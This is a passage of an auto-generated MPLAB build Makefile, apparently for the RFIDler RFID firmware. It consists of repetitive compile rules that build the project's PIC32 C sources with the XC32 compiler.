\"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/_ext/186742988/usb_device.o.d\" -o ${OBJECTDIR}/_ext/186742988/usb_device.o /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c     \n\t\n${OBJECTDIR}/src/indala.o: src/indala.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/indala.o.d \n\t@${RM} ${OBJECTDIR}/src/indala.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/indala.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/indala.o.d\" -o ${OBJECTDIR}/src/indala.o src/indala.c     \n\t\n${OBJECTDIR}/src/main.o: src/main.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/main.o.d \n\t@${RM} ${OBJECTDIR}/src/main.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/main.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/main.o.d\" -o ${OBJECTDIR}/src/main.o src/main.c     \n\t\n${OBJECTDIR}/src/psk.o: src/psk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/psk.o.d \n\t@${RM} ${OBJECTDIR}/src/psk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/psk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/psk.o.d\" -o ${OBJECTDIR}/src/psk.o src/psk.c     \n\t\n${OBJECTDIR}/src/usb_descriptors.o: src/usb_descriptors.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o.d \n\t@${RM} ${OBJECTDIR}/src/usb_descriptors.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/usb_descriptors.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/usb_descriptors.o.d\" -o ${OBJECTDIR}/src/usb_descriptors.o src/usb_descriptors.c     \n\t\n${OBJECTDIR}/src/util.o: src/util.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/util.o.d \n\t@${RM} ${OBJECTDIR}/src/util.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/util.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/util.o.d\" -o ${OBJECTDIR}/src/util.o src/util.c     \n\t\n${OBJECTDIR}/src/emulate.o: src/emulate.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/emulate.o.d \n\t@${RM} ${OBJECTDIR}/src/emulate.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/emulate.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/emulate.o.d\" -o ${OBJECTDIR}/src/emulate.o src/emulate.c     \n\t\n${OBJECTDIR}/src/ask.o: src/ask.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/ask.o.d \n\t@${RM} ${OBJECTDIR}/src/ask.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/ask.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/ask.o.d\" -o ${OBJECTDIR}/src/ask.o src/ask.c     \n\t\n${OBJECTDIR}/src/fsk.o: src/fsk.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fsk.o.d \n\t@${RM} ${OBJECTDIR}/src/fsk.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fsk.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fsk.o.d\" -o ${OBJECTDIR}/src/fsk.o src/fsk.c     \n\t\n${OBJECTDIR}/src/clock.o: src/clock.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/clock.o.d \n\t@${RM} ${OBJECTDIR}/src/clock.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/clock.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/clock.o.d\" -o ${OBJECTDIR}/src/clock.o src/clock.c     \n\t\n${OBJECTDIR}/src/rwd.o: src/rwd.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/rwd.o.d \n\t@${RM} ${OBJECTDIR}/src/rwd.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/rwd.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/rwd.o.d\" -o ${OBJECTDIR}/src/rwd.o src/rwd.c     \n\t\n${OBJECTDIR}/src/detect.o: src/detect.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/detect.o.d \n\t@${RM} ${OBJECTDIR}/src/detect.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/detect.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/detect.o.d\" -o ${OBJECTDIR}/src/detect.o src/detect.c     \n\t\n${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d \n\t@${RM} ${OBJECTDIR}/src/hitagcrypto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitagcrypto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitagcrypto.o.d\" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c     \n\t\n${OBJECTDIR}/src/wiegand.o: src/wiegand.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/wiegand.o.d \n\t@${RM} ${OBJECTDIR}/src/wiegand.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/wiegand.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/wiegand.o.d\" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c     \n\t\n${OBJECTDIR}/src/comms.o: src/comms.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/comms.o.d \n\t@${RM} ${OBJECTDIR}/src/comms.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/comms.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/comms.o.d\" -o ${OBJECTDIR}/src/comms.o src/comms.c     \n\t\n${OBJECTDIR}/src/nvm.o: src/nvm.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/nvm.o.d \n\t@${RM} ${OBJECTDIR}/src/nvm.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/nvm.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/nvm.o.d\" -o ${OBJECTDIR}/src/nvm.o src/nvm.c     \n\t\n${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o.d \n\t@${RM} ${OBJECTDIR}/src/mcp414x.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/mcp414x.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/mcp414x.o.d\" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c     \n\t\n${OBJECTDIR}/src/spi.o: src/spi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/spi.o.d \n\t@${RM} ${OBJECTDIR}/src/spi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/spi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/spi.o.d\" -o ${OBJECTDIR}/src/spi.o src/spi.c     \n\t\n${OBJECTDIR}/src/uart3.o: src/uart3.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uart3.o.d \n\t@${RM} ${OBJECTDIR}/src/uart3.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uart3.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uart3.o.d\" -o ${OBJECTDIR}/src/uart3.o src/uart3.c     \n\t\n${OBJECTDIR}/src/tags.o: src/tags.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tags.o.d \n\t@${RM} ${OBJECTDIR}/src/tags.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tags.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tags.o.d\" -o ${OBJECTDIR}/src/tags.o src/tags.c     \n\t\n${OBJECTDIR}/src/unique.o: src/unique.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/unique.o.d \n\t@${RM} ${OBJECTDIR}/src/unique.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/unique.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/unique.o.d\" -o ${OBJECTDIR}/src/unique.o src/unique.c     \n\t\n${OBJECTDIR}/src/led.o: src/led.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/led.o.d \n\t@${RM} ${OBJECTDIR}/src/led.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/led.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/led.o.d\" -o ${OBJECTDIR}/src/led.o src/led.c     \n\t\n${OBJECTDIR}/src/em.o: src/em.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/em.o.d \n\t@${RM} ${OBJECTDIR}/src/em.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/em.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/em.o.d\" -o ${OBJECTDIR}/src/em.o src/em.c     \n\t\n${OBJECTDIR}/src/hid.o: src/hid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hid.o.d \n\t@${RM} ${OBJECTDIR}/src/hid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hid.o.d\" -o ${OBJECTDIR}/src/hid.o src/hid.c     \n\t\n${OBJECTDIR}/src/read.o: src/read.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/read.o.d \n\t@${RM} ${OBJECTDIR}/src/read.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/read.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/read.o.d\" -o ${OBJECTDIR}/src/read.o src/read.c     \n\t\n${OBJECTDIR}/src/isr.o: src/isr.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/isr.o.d \n\t@${RM} ${OBJECTDIR}/src/isr.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/isr.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE) -g -D__DEBUG -D__MPLAB_DEBUGGER_PK3=1 -fframe-base-loclist  -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/isr.o.d\" -o ${OBJECTDIR}/src/isr.o src/isr.c     \n\t\n${OBJECTDIR}/src/auto.o: src/auto.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auto.o.d \n\t@${RM} ${OBJECTDIR}/src/auto.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auto.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c 